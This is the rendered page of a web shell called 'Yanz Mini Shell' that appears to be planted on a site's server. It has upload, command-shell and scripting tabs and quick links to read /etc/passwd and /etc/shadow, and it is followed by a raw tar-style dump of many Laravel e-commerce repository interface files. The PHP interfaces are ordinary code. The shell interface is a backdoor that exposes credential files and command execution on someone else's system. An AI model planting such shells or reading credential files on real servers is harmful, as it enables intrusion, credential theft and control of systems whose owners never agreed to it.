Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
admin
web
uyoxpress.com
public_html
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
Repositories/SupportTicketRepositoryInterface.php 0000644 00000000172 15007251240 0016501 0 ustar 00 <?php namespace App\Contracts\Repositories; interface SupportTicketRepositoryInterface extends RepositoryInterface { } Repositories/SubscriptionRepositoryInterface.php 0000644 00000000171 15007251240 0016344 0 ustar 00 <?php namespace App\Contracts\Repositories; interface SubscriptionRepositoryInterface extends RepositoryInterface { } Repositories/ShippingMethodRepositoryInterface.php 0000644 00000000173 15007251240 0016604 0 ustar 00 <?php namespace App\Contracts\Repositories; interface ShippingMethodRepositoryInterface extends RepositoryInterface { } Repositories/CategoryShippingCostRepositoryInterface.php 0000644 00000000442 15007251240 0017771 0 ustar 00 <?php namespace App\Contracts\Repositories; interface CategoryShippingCostRepositoryInterface extends RepositoryInterface { /** * @param array $params * @param array $data * @return bool */ public function updateOrInsert(array $params, array $data): bool; } Repositories/SettingRepositoryInterface.php 0000644 00000002155 15007251240 0015301 0 ustar 00 <?php namespace App\Contracts\Repositories; use Illuminate\Database\Eloquent\Collection; use Illuminate\Pagination\LengthAwarePaginator; interface SettingRepositoryInterface extends RepositoryInterface { /** * @param array $orderBy * @param string|null $searchValue * @param array $filters * @param array $whereInFilters * @param array $relations * @param array $nullFields * @param int|string $dataLimit * @param int|null $offset * @return Collection|LengthAwarePaginator */ public function getListWhereIn(array $orderBy = [], string $searchValue = null, array $filters = [], array $whereInFilters = [], array $relations = [], array $nullFields = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator; /** * @param array $params * @param array $data * @return bool */ public function updateOrInsert(array $params, array $data): bool; /** * @param array $params * @param array $data * @return bool */ public function updateWhere(array $params, array $data): bool; } Repositories/ShopRepositoryInterface.php 0000644 00000000161 15007251240 0014570 0 ustar 00 <?php namespace App\Contracts\Repositories; interface ShopRepositoryInterface extends RepositoryInterface { } Repositories/NotificationSeenRepositoryInterface.php 0000644 00000000175 15007251240 0017125 0 ustar 00 <?php namespace App\Contracts\Repositories; interface NotificationSeenRepositoryInterface extends RepositoryInterface { } Repositories/OrderDetailRepositoryInterface.php 0000644 00000001155 15007251240 0016061 0 ustar 00 <?php namespace App\Contracts\Repositories; use Illuminate\Database\Eloquent\Collection; use Illuminate\Pagination\LengthAwarePaginator; interface OrderDetailRepositoryInterface extends RepositoryInterface { /** * @param array $params * @param array $data * @return bool */ public function updateWhere(array $params, array $data): bool; /** * @param string|null $searchValue * @param array $filters * @param array $relations * @return int */ public function getListWhereCount(string $searchValue = null, array $filters = [], array $relations = []): int; } Repositories/CartRepositoryInterface.php 0000644 00000000161 15007251240 0014550 0 ustar 00 <?php namespace App\Contracts\Repositories; interface CartRepositoryInterface extends RepositoryInterface { } Repositories/OrderExpectedDeliveryHistoryRepositoryInterface.php 0000644 00000000211 15007251240 0021476 0 ustar 00 <?php namespace App\Contracts\Repositories; interface OrderExpectedDeliveryHistoryRepositoryInterface extends RepositoryInterface { } Repositories/AdminWalletRepositoryInterface.php 0000644 00000000425 15007251240 0016063 0 ustar 00 <?php namespace App\Contracts\Repositories; interface AdminWalletRepositoryInterface extends RepositoryInterface { /** * @param array $params * @param array $data * @return bool */ public function updateWhere(array $params, array $data): bool; } Repositories/VendorRepositoryInterface.php 0000644 00000001012 15007251240 0015110 0 ustar 00 <?php namespace App\Contracts\Repositories; use Illuminate\Database\Eloquent\Collection; use Illuminate\Pagination\LengthAwarePaginator; interface VendorRepositoryInterface extends RepositoryInterface { /** * @param string $status * @param array $relations * @param int $paginateBy * @return Collection|array|LengthAwarePaginator */ public function getByStatusExcept(string $status, array $relations = [], int $paginateBy = DEFAULT_DATA_LIMIT): Collection|array|LengthAwarePaginator; } Repositories/RefundTransactionRepositoryInterface.php 0000644 00000000434 15007251240 0017313 0 ustar 00 <?php namespace App\Contracts\Repositories; interface RefundTransactionRepositoryInterface extends RepositoryInterface { /** * @param array $params * @param array $data * @return bool */ public function updateWhere(array $params, array $data): bool; } Repositories/ProductTagRepositoryInterface.php 0000644 00000000351 15007251240 0015734 0 ustar 00 <?php namespace App\Contracts\Repositories; interface ProductTagRepositoryInterface extends RepositoryInterface { public function getIds(string $fieldName='tag_id', array $filters = []): \Illuminate\Support\Collection|array; } Repositories/TranslationRepositoryInterface.php 0000644 00000001776 15007251240 0016172 0 ustar 00 <?php namespace App\Contracts\Repositories; interface TranslationRepositoryInterface { /** * @param object $request Data value must be in key and value pair structure, ex: params = ['name'=>'John Doe'] * @param string $model * @param int|string $id * @return bool */ public function add(object $request, string $model, int|string $id): bool; /** * @param object $request * @param string $model * @param int|string $id * @return bool */ public function update(object $request, string $model, int|string $id): bool; /** * @param string $model * @param int|string $id * @return bool */ public function delete(string $model, int|string $id): bool; /** * @param string $model * @param string $id * @param string $lang * @param string $key * @param string $value * @return bool */ public function updateData(string $model, string $id, string $lang, string $key, string $value):bool; } Repositories/DeliveryManRepositoryInterface.php 0000644 00000002362 15007251240 0016103 0 ustar 00 <?php namespace App\Contracts\Repositories; use Illuminate\Database\Eloquent\Collection; use Illuminate\Pagination\LengthAwarePaginator; interface DeliveryManRepositoryInterface extends RepositoryInterface { /** * @param array $filters * @param array $whereHasFilters * @param array $relations * @param int|string $dataLimit * @param int|null $offset * @return Collection|LengthAwarePaginator */ public function getTopRatedList(array$orderBy = [] ,array $filters = [], array $whereHasFilters = [], array $relations = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator; /** * @param array $orderBy * @param string|null $searchValue * @param array $filters * @param array $relations * @param array $nullFields * @param array $withCounts * @param int|string $dataLimit * @param int|null $offset * @return Collection|LengthAwarePaginator */ public function getListWhereIn(array $orderBy = [], string $searchValue = null, array $filters = [], array $relations = [], array $nullFields = [], array $withCounts = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator; } Repositories/CategoryRepositoryInterface.php 0000644 00000000165 15007251240 0015440 0 ustar 00 <?php namespace App\Contracts\Repositories; interface CategoryRepositoryInterface extends RepositoryInterface { } Repositories/NotificationMessageRepositoryInterface.php 0000644 00000000200 15007251240 0017604 0 ustar 00 <?php namespace App\Contracts\Repositories; interface NotificationMessageRepositoryInterface extends RepositoryInterface { } Repositories/AttributeRepositoryInterface.php 0000644 00000000166 15007251240 0015627 0 ustar 00 <?php namespace App\Contracts\Repositories; interface AttributeRepositoryInterface extends RepositoryInterface { } Repositories/CurrencyRepositoryInterface.php 0000644 00000000165 15007251240 0015455 0 ustar 00 <?php namespace App\Contracts\Repositories; interface CurrencyRepositoryInterface extends RepositoryInterface { } Repositories/NotificationRepositoryInterface.php 0000644 00000001221 15007251240 0016303 0 ustar 00 <?php namespace App\Contracts\Repositories; use Illuminate\Database\Eloquent\Collection; use Illuminate\Pagination\LengthAwarePaginator; interface NotificationRepositoryInterface extends RepositoryInterface { /** * @param array $params * @param array $filters * @param array|string|null $relations * @param int|string $dataLimit * @param int|null $offset * @return Collection|LengthAwarePaginator */ public function getListWhereBetween(array $params = [], array $filters = [], array|string $relations = null, int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator; } Repositories/ShopFollowerRepositoryInterface.php 0000644 00000000171 15007251240 0016303 0 ustar 00 <?php namespace App\Contracts\Repositories; interface ShopFollowerRepositoryInterface extends RepositoryInterface { } Repositories/ColorRepositoryInterface.php 0000644 00000000162 15007251240 0014736 0 ustar 00 <?php namespace App\Contracts\Repositories; interface ColorRepositoryInterface extends RepositoryInterface { } Repositories/FlashDealRepositoryInterface.php 0000644 00000001004 15007251240 0015477 0 ustar 00 <?php namespace App\Contracts\Repositories; use Illuminate\Database\Eloquent\Model; interface FlashDealRepositoryInterface extends RepositoryInterface { /** * @param array $params * @param array $relations * @return Model|null */ public function getFirstWhereWithoutGlobalScope(array $params, array $relations = []): ?Model; /** * @param array $params * @param array $data * @return bool */ public function updateWhere(array $params, array $data): bool; } Repositories/AdminRepositoryInterface.php 0000644 00000000162 15007251240 0014710 0 ustar 00 <?php namespace App\Contracts\Repositories; interface AdminRepositoryInterface extends RepositoryInterface { } Repositories/OrderTransactionRepositoryInterface.php 0000644 00000002753 15007251240 0017151 0 ustar 00 <?php namespace App\Contracts\Repositories; use Illuminate\Database\Eloquent\Collection; use Illuminate\Pagination\LengthAwarePaginator; interface OrderTransactionRepositoryInterface extends RepositoryInterface { /** * @param array $filters * @param string|null $whereBetween * @param string|null $selectColumn * @param array $whereBetweenFilters * @param array $relations * @param int|string $dataLimit * @param int|null $offset * @return Collection|LengthAwarePaginator */ public function getListWhereBetween(array $filters = [], string $whereBetween = null, string $selectColumn = null,array $whereBetweenFilters = [] , array $relations = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator; /** * @param string|null $sellerIs * @param array $dataRange * @param array $groupBy * @param int $dateStart * @param int $dateEnd * @return array */ public function getCommissionEarningStatisticsData(string $sellerIs = null, array $dataRange = [], array $groupBy = [], int $dateStart = 1, int $dateEnd = 12): array; /** * @param string|null $sellerIs * @param array $dataRange * @param array $groupBy * @param int $dateStart * @param int $dateEnd * @return array */ public function getEarningStatisticsData(string $sellerIs = null, array $dataRange = [], array $groupBy = [], int $dateStart = 1, int $dateEnd = 12): array; } Repositories/EmailTemplatesRepositoryInterface.php 0000644 00000000173 15007251240 0016570 0 ustar 00 <?php namespace App\Contracts\Repositories; interface EmailTemplatesRepositoryInterface extends RepositoryInterface { } Repositories/MostDemandedRepositoryInterface.php 0000644 00000000427 15007251240 0016230 0 ustar 00 <?php namespace App\Contracts\Repositories; interface MostDemandedRepositoryInterface extends RepositoryInterface { /** * @param array $params * @param array $data * @return bool */ public function updateWhere(array $params, array $data): bool; } Repositories/SellerRepositoryInterface.php 0000644 00000001016 15007251240 0015105 0 ustar 00 <?php namespace App\Contracts\Repositories; use Illuminate\Database\Eloquent\Collection; use Illuminate\Pagination\LengthAwarePaginator; interface SellerRepositoryInterface extends RepositoryInterface { public function getListWithScope(array $orderBy = [], string $searchValue = null, string $scope = null, array $filters = [], array $whereIn = [], array $whereNotIn = [], array $relations = [], array $withCount = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator; } Repositories/WishlistRepositoryInterface.php 0000644 00000001023 15007251240 0015463 0 ustar 00 <?php namespace App\Contracts\Repositories; use Illuminate\Database\Eloquent\Model; interface WishlistRepositoryInterface extends RepositoryInterface { /** * @param string|null $searchValue * @param array $filters * @param array $relations * @return int */ public function getListWhereCount(string $searchValue = null, array $filters = [], array $relations = []): int; /** * @param array $params * @return int|null */ public function getCount(array $params): int|null; } Repositories/FlashDealProductRepositoryInterface.php 0000644 00000000175 15007251240 0017050 0 ustar 00 <?php namespace App\Contracts\Repositories; interface FlashDealProductRepositoryInterface extends RepositoryInterface { } Repositories/PasswordResetRepositoryInterface.php 0000644 00000000172 15007251240 0016466 0 ustar 00 <?php namespace App\Contracts\Repositories; interface PasswordResetRepositoryInterface extends RepositoryInterface { } Repositories/WithdrawRequestRepositoryInterface.php 0000644 00000002103 15007251240 0017017 0 ustar 00 <?php namespace App\Contracts\Repositories; use Illuminate\Database\Eloquent\Collection; use Illuminate\Database\Eloquent\Model; use Illuminate\Pagination\LengthAwarePaginator; interface WithdrawRequestRepositoryInterface extends RepositoryInterface { /** * @param array $orderBy * @param string|null $searchValue * @param array $filters * @param array $nullFilters * @param array $relations * @param int|string $dataLimit * @param int|null $offset * @return Collection|LengthAwarePaginator */ public function getListWhereNull(array $orderBy=[], string $searchValue = null, array $filters = [], array $nullFilters = [], array $relations = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator; /** * @param array $params * @param array $filters * @param array $orderBy * @param array $relations * @return Model|null */ public function getFirstWhereNotNull(array $params, array $filters = [], array $orderBy = [], array $relations = []): ?Model; } Repositories/BrandRepositoryInterface.php 0000644 00000000162 15007251240 0014706 0 ustar 00 <?php namespace App\Contracts\Repositories; interface BrandRepositoryInterface extends RepositoryInterface { } Repositories/ShippingTypeRepositoryInterface.php 0000644 00000000171 15007251240 0016303 0 ustar 00 <?php namespace App\Contracts\Repositories; interface ShippingTypeRepositoryInterface extends RepositoryInterface { } Repositories/SocialMediaRepositoryInterface.php 0000644 00000000170 15007251240 0016031 0 ustar 00 <?php namespace App\Contracts\Repositories; interface SocialMediaRepositoryInterface extends RepositoryInterface { } Repositories/ReviewRepositoryInterface.php 0000644 00000004046 15007251240 0015126 0 ustar 00 <?php namespace App\Contracts\Repositories; use Illuminate\Database\Eloquent\Collection; use Illuminate\Pagination\LengthAwarePaginator; interface ReviewRepositoryInterface extends RepositoryInterface { /** * @param bool $globalScope * @param array $orderBy * @param string|null $searchValue * @param array $filters * @param array $whereInFilters * @param array $relations * @param array $nullFields * @param int|string $dataLimit * @param int|null $offset * @return Collection|LengthAwarePaginator */ public function getListWhereIn(bool $globalScope = true, array $orderBy = [], string $searchValue = null, array $filters = [], array $whereInFilters = [], array $relations = [], array $nullFields = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator; /** * @param bool $globalScope * @param string $whereHas * @param array $whereHasFilter * @param array $orderBy * @param string|null $searchValue * @param array $filters * @param array $relations * @param array $nullFields * @param int|string $dataLimit * @param int|null $offset * @return Collection|LengthAwarePaginator */ public function getListWhereHas(bool $globalScope = true, string $whereHas, array $whereHasFilter , array $orderBy = [], string $searchValue = null, array $filters = [], array $relations = [], array $nullFields = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator; /** * @param array $params * @param array $data * @return bool */ public function updateWhere(array $params, array $data): bool; /** * @param array $params * @param array $data * @return bool */ public function updateOrInsert(array $params, array $data): bool; /** * @param array $params * @param array $whereInFilters * @return int|null */ public function getCount(array $params, array $whereInFilters): int|null; } Repositories/RefundRequestRepositoryInterface.php 0000644 00000002237 15007251240 0016461 0 ustar 00 <?php namespace App\Contracts\Repositories; use Illuminate\Database\Eloquent\Collection; use Illuminate\Database\Eloquent\Model; use Illuminate\Pagination\LengthAwarePaginator; interface RefundRequestRepositoryInterface extends RepositoryInterface { /** * @param array $orderBy * @param string|null $searchValue * @param array $filters * @param string|null $whereHas * @param array $whereHasFilters * @param array $relations * @param int|string $dataLimit * @param int|null $offset * @return Collection|LengthAwarePaginator */ public function getListWhereHas(array $orderBy = [], string $searchValue = null, array $filters = [], string $whereHas = null, array $whereHasFilters = [] , array $relations = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator; /** * @param array $params * @param string|null $whereHas * @param array $whereHasFilters * @param array $relations * @return Model|null */ public function getFirstWhereHas(array $params, string $whereHas = null, array $whereHasFilters = [], array $relations = []): ?Model; } Repositories/ProductRepositoryInterface.php 0000644 00000011160 15007251240 0015300 0 ustar 00 <?php namespace App\Contracts\Repositories; use Illuminate\Database\Eloquent\Collection; use Illuminate\Database\Eloquent\Model; use Illuminate\Pagination\LengthAwarePaginator; /** * */ interface ProductRepositoryInterface extends RepositoryInterface { /** * @param array $params * @param array $relations * @return Model|null */ public function getFirstWhereActive(array $params, array $relations = []): ?Model; /** * @param array $params * @param array $relations * @param array $withCount * @return Model|null */ public function getWebFirstWhereActive(array $params, array $relations = [], array $withCount = []): ?Model; /** * @param array $params * @param array $relations * @return Model|null */ public function getFirstWhereWithoutGlobalScope(array $params, array $relations = []): ?Model; /** * @param array $orderBy * @param string|null $searchValue * @param array $filters * @param array $withCount * @param array $relations * @param int|string $dataLimit * @param int|null $offset * @return Collection|LengthAwarePaginator */ public function getStockLimitListWhere(array $orderBy=[], string $searchValue = null, array $filters = [], array $withCount = [], array $relations = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator; /** * @param array $data * @return bool */ public function addArray(array $data): bool; /** * @param array $filters * @param array $whereNotIn * @param array $relations * @param int|string $dataLimit * @param int|null $offset * @return Collection|LengthAwarePaginator */ public function getListWhereNotIn(array $filters = [], array $whereNotIn = [], array $relations = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator; /** * @param array $orderBy * @param string|null $searchValue * @param string|null $scope * @param array $filters * @param array $whereIn * @param array $whereNotIn * @param array $relations * @param array $withCount * @param int|string $dataLimit * @param int|null $offset * @return Collection|LengthAwarePaginator */ public function getListWithScope(array $orderBy = [], string $searchValue = null, string $scope = null, array $filters = [], array $whereIn = [], array $whereNotIn = [], array $relations = [], array $withCount = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator; /** * @param array $orderBy * @param string|null $searchValue * @param string|null $scope * @param array $filters * @param array $whereHas * @param array $whereIn * @param array $whereNotIn * @param array $relations * @param array $withCount * @param array $withSum * @param int|string $dataLimit * @param int|null $offset * @return Collection|LengthAwarePaginator */ public function getWebListWithScope(array $orderBy = [], string $searchValue = null, string $scope = null, array $filters = [], array $whereHas = [], array $whereIn = [], array $whereNotIn = [], array $relations = [], array $withCount = [], array $withSum = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator; /** * @param array $filters * @param array $relations * @param int|string $dataLimit * @param int|null $offset * @return Collection|LengthAwarePaginator */ public function getTopRatedList(array $filters = [] , array $relations = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator; /** * @param array $filters * @param array $relations * @param int|string $dataLimit * @param int|null $offset * @return Collection|LengthAwarePaginator */ public function getTopSellList(array $filters = [] ,array $relations = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator ; /** * @param array $params * @param array $withCount * @param array $relations * @return Model|null */ public function getFirstWhereWithCount(array $params, array $withCount = [] , array $relations = []): ?Model; /** * @param array $filters * @return Collection|array */ public function getProductIds(array $filters = []): \Illuminate\Support\Collection|array; public function updateByParams(array $params, array $data): bool; } Repositories/DealOfTheDayRepositoryInterface.php 0000644 00000001011 15007251240 0016103 0 ustar 00 <?php namespace App\Contracts\Repositories; use Illuminate\Database\Eloquent\Model; interface DealOfTheDayRepositoryInterface extends RepositoryInterface { /** * @param array $params * @param array $relations * @return Model|null */ public function getFirstWhereWithoutGlobalScope(array $params, array $relations = []): ?Model; /** * @param array $params * @param array $data * @return bool */ public function updateWhere(array $params, array $data): bool; } Repositories/ShippingAddressRepositoryInterface.php 0000644 00000000174 15007251240 0016752 0 ustar 00 <?php namespace App\Contracts\Repositories; interface ShippingAddressRepositoryInterface extends RepositoryInterface { } Repositories/DeliveryManWalletRepositoryInterface.php 0000644 00000000432 15007251240 0017250 0 ustar 00 <?php namespace App\Contracts\Repositories; interface DeliveryManWalletRepositoryInterface extends RepositoryInterface { /** * @param array $params * @param array $data * @return bool */ public function updateWhere(array $params, array $data): bool; } Repositories/BannerRepositoryInterface.php 0000644 00000001455 15007251240 0015073 0 ustar 00 <?php namespace App\Contracts\Repositories; use Illuminate\Database\Eloquent\Collection; use Illuminate\Pagination\LengthAwarePaginator; interface BannerRepositoryInterface extends RepositoryInterface { /** * @param array $orderBy * @param string|null $searchValue * @param array $filters * @param array $whereInFilters * @param array $relations * @param array $nullFields * @param int|string $dataLimit * @param int|null $offset * @return Collection|LengthAwarePaginator */ public function getListWhereIn(array $orderBy = [], string $searchValue = null, array $filters = [], array $whereInFilters = [], array $relations = [], array $nullFields = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator; } Repositories/CustomerRepositoryInterface.php 0000644 00000001632 15007251240 0015464 0 ustar 00 <?php namespace App\Contracts\Repositories; use Illuminate\Database\Eloquent\Collection; use Illuminate\Pagination\LengthAwarePaginator; interface CustomerRepositoryInterface extends RepositoryInterface { /** * @param array $ids * @param array $relations * @param int|string $dataLimit * @param int|null $offset * @return Collection|LengthAwarePaginator */ public function getListWhereNotIn(array $ids = [], array $relations = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator; /** * @param object $request * @param int|string $dataLimit * @return object */ public function getCustomerNameList(object $request, int|string $dataLimit = DEFAULT_DATA_LIMIT): object; /** * @param string|int $id * @return bool */ public function deleteAuthAccessTokens(string|int $id): bool; } Repositories/BusinessSettingRepositoryInterface.php 0000644 00000002512 15007251240 0017012 0 ustar 00 <?php namespace App\Contracts\Repositories; use Illuminate\Database\Eloquent\Collection; use Illuminate\Database\Eloquent\Model; use Illuminate\Pagination\LengthAwarePaginator; interface BusinessSettingRepositoryInterface extends RepositoryInterface { /** * @param array $orderBy * @param string|null $searchValue * @param array $filters * @param array $whereInFilters * @param array $relations * @param array $nullFields * @param int|string $dataLimit * @param int|null $offset * @return Collection|LengthAwarePaginator */ public function getListWhereIn(array $orderBy = [], string $searchValue = null, array $filters = [], array $whereInFilters = [], array $relations = [], array $nullFields = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator; /** * @param string $type * @param mixed $value * @return bool */ public function updateOrInsert(string $type, mixed $value): bool; /** * @param array $params * @param array $data * @return bool */ public function updateWhere(array $params, array $data): bool; /** * @param array $params * @param array $value * @return Model|null */ public function whereJsonContains(array $params, array $value): ?Model; } Repositories/ChattingRepositoryInterface.php 0000644 00000002356 15007251240 0015430 0 ustar 00 <?php namespace App\Contracts\Repositories; use Illuminate\Database\Eloquent\Collection; use Illuminate\Database\Eloquent\Model; interface ChattingRepositoryInterface extends RepositoryInterface { /** * @param array $params * @param array $filters * @param array $orderBy * @param array $relations * @return Model|null */ public function getFirstWhereNotNull(array $params, array $filters = [], array $orderBy = [], array $relations = []): ?Model; /** * @param array $joinColumn * @param array $select * @param array $filters * @param array $orderBy * @return Collection */ public function getListBySelectWhere(array $joinColumn = [], array $select = [], array $filters = [], array $orderBy = []): Collection; /** * @param array $params * @param array $data * @return bool */ public function updateAllWhere(array $params, array $data) : bool; /** * @param string|null $searchValue * @param array $filters * @param array $whereNotNull * @param array $data * @return bool */ public function updateListWhereNotNull(string $searchValue = null, array $filters = [], array $whereNotNull = [], array $data = []): bool; } Repositories/TagRepositoryInterface.php 0000644 00000000157 15007251240 0014377 0 ustar 00 <?php namespace App\Contracts\Repositories; interface TagRepositoryInterface extends RepositoryInterface { } Repositories/SupportTicketConvRepositoryInterface.php 0000644 00000000176 15007251240 0017333 0 ustar 00 <?php namespace App\Contracts\Repositories; interface SupportTicketConvRepositoryInterface extends RepositoryInterface { } Repositories/VendorWalletRepositoryInterface.php 0000644 00000000425 15007251240 0016270 0 ustar 00 <?php namespace App\Contracts\Repositories; interface VendorWalletRepositoryInterface extends RepositoryInterface { /** * @param array $params * @param array $data * @return bool */ public function updateWhere(array $params, array $data): bool; } Repositories/CustomerWalletRepositoryInterface.php 0000644 00000000173 15007251240 0016634 0 ustar 00 <?php namespace App\Contracts\Repositories; interface CustomerWalletRepositoryInterface extends RepositoryInterface { } Repositories/RepositoryInterface.php 0000644 00000004370 15007251240 0013744 0 ustar 00 <?php namespace App\Contracts\Repositories; use Illuminate\Database\Eloquent\Collection; use Illuminate\Database\Eloquent\Model; use Illuminate\Pagination\LengthAwarePaginator; interface RepositoryInterface { /** * @param array $data Data value must be in key and value pair structure, ex: params = ['name'=>'John Doe'] * @return string|object */ public function add(array $data): string|object; /** * @param array $params Params value must be in key and value pair structure, ex: params = ['name'=>'John Doe'] * @param array $relations Relations value must be a relation name in array structure, ex: relations = ['product','category'] * @return Model|null */ public function getFirstWhere(array $params, array $relations = []): ?Model; /** * @param array $orderBy * @param array $relations * @param int|string $dataLimit If you need all data without pagination, you need to set dataLimit = 'all' * @param int|null $offset * @return Collection|LengthAwarePaginator */ public function getList(array $orderBy=[], array $relations = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator; /** * @param array $orderBy * @param string|null $searchValue * @param array $filters Filters value must be in key and value pair structure, support one level nested array, ex: Filters = ['category'=>[1,2,5,8], 'email'=>['x@x.com','test@test.com']] * @param array $relations * @param int|string $dataLimit If you need all data without pagination, you need to set dataLimit = 'all' * @param int|null $offset * @return Collection|LengthAwarePaginator */ public function getListWhere(array $orderBy=[], string $searchValue = null, array $filters = [], array $relations = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator; /** * @param string $id * @param array $data Data value must be in key and value pair structure, ex: params = ['name'=>'John Doe'] * @return bool */ public function update(string $id, array $data): bool; /** * @param array $params * @return bool */ public function delete(array $params): bool; } Repositories/ContactRepositoryInterface.php 0000644 00000000164 15007251240 0015255 0 ustar 00 <?php namespace App\Contracts\Repositories; interface ContactRepositoryInterface extends RepositoryInterface { } Repositories/DeliveryCountryCodeRepositoryInterface.php 0000644 00000000200 15007251240 0017613 0 ustar 00 <?php namespace App\Contracts\Repositories; interface DeliveryCountryCodeRepositoryInterface extends RepositoryInterface { } Repositories/WithdrawalMethodRepositoryInterface.php 0000644 00000000437 15007251240 0017134 0 ustar 00 <?php namespace App\Contracts\Repositories; interface WithdrawalMethodRepositoryInterface extends RepositoryInterface { /** * @param array $params * @param array $data * @return bool */ public function updateWhereNotIn(array $params, array $data): bool; } Repositories/ProductCompareRepositoryInterface.php 0000644 00000000366 15007251240 0016615 0 ustar 00 <?php namespace App\Contracts\Repositories; interface ProductCompareRepositoryInterface extends RepositoryInterface { /** * @param array $params * @return int|null */ public function getCount(array $params): int|null; } Repositories/CouponRepositoryInterface.php 0000644 00000000537 15007251240 0015131 0 ustar 00 <?php namespace App\Contracts\Repositories; use Illuminate\Database\Eloquent\Model; interface CouponRepositoryInterface extends RepositoryInterface { /** * @param array $filters * @param array $relations * @return Model|null */ public function getFirstWhereFilters(array $filters = [], array $relations = []): ?Model; } Repositories/EmergencyContactRepositoryInterface.php 0000644 00000000175 15007251240 0017116 0 ustar 00 <?php namespace App\Contracts\Repositories; interface EmergencyContactRepositoryInterface extends RepositoryInterface { } Repositories/LoyaltyPointTransactionRepositoryInterface.php 0000644 00000001533 15007251240 0020540 0 ustar 00 <?php namespace App\Contracts\Repositories; use Illuminate\Database\Eloquent\Collection; use Illuminate\Pagination\LengthAwarePaginator; interface LoyaltyPointTransactionRepositoryInterface extends RepositoryInterface { /** * @param array $orderBy * @param string|null $searchValue * @param array $filters * @param array $relations * @param int|string $dataLimit * @param int|null $offset * @return Collection|LengthAwarePaginator */ public function getListWhereSelect(array $orderBy = [], string $searchValue = null, array $filters = [], array $relations = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator; public function addLoyaltyPointTransaction(string|int $userId, string $reference, string|int|float $amount, string $transactionType): bool; } Repositories/OrderRepositoryInterface.php 0000644 00000007171 15007251240 0014742 0 ustar 00 <?php namespace App\Contracts\Repositories; use Illuminate\Database\Eloquent\Collection; use Illuminate\Pagination\LengthAwarePaginator; interface OrderRepositoryInterface extends RepositoryInterface { /** * @param string $addedBy * @param string|null $searchValue * @param array $filters Filters value must be in key and value pair structure, support one level nested array, ex: Filters = ['category'=>[1,2,5,8], 'email'=>['x@x.com','test@test.com']] * @param array $relations * @param int|string $dataLimit If you need all data without pagination, you need to set dataLimit = 'all' * @param int|null $offset * @return Collection|LengthAwarePaginator */ public function getDeliveryManOrderListWhere(string $addedBy, string $searchValue = null, array $filters = [] , array $relations = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator; /** * @param array $params * @param array $data * @return bool */ public function updateWhere(array $params, array $data): bool; /** * @param array $orderBy * @param string|null $searchValue * @param array $filters * @param array $relations * @param array $nullFields * @param array $whereNotIn * @param int|string $dataLimit * @param int|null $offset * @return Collection|LengthAwarePaginator */ public function getListWhereNotIn(array $orderBy = [], string $searchValue = null, array $filters = [], array $relations = [], array $nullFields = [], array $whereNotIn = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator; /** * @param string|null $searchValue * @param array $filters * @param array $relations * @return int */ public function getListWhereCount(string $searchValue = null, array $filters = [], array $relations = []): int; /** * @param object $request * @param string|int $userId * @param string $userType * @return bool */ public function updateAmountDate(object $request, string|int $userId, string $userType): bool; /** * @param array $filters * @param string|null $dateType * @param array $filterDate * @param array $relations * @param int|string $dataLimit * @param int|null $offset * @return Collection|LengthAwarePaginator */ public function getListWhereDate(array $filters = [], string $dateType = null, array $filterDate = [] , array $relations = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator ; /** * @param string|int $orderId * @param string $status * @return bool */ public function updateStockOnOrderStatusChange(string|int $orderId, string $status): bool; /** * @param object $order * @param string $receivedBy * @return bool */ public function manageWalletOnOrderStatusChange(object $order, string $receivedBy): bool; /** * @param array $filters * @param array $relations * @param int|string $dataLimit * @param int|null $offset * @return Collection|LengthAwarePaginator */ public function getTopCustomerList(array $filters = [] , array $relations = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator; public function getListWhereBetween(array $filters = [], string $selectColumn = null, string $whereBetween = null, array $whereBetweenFilters = [], array $relations = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator; } 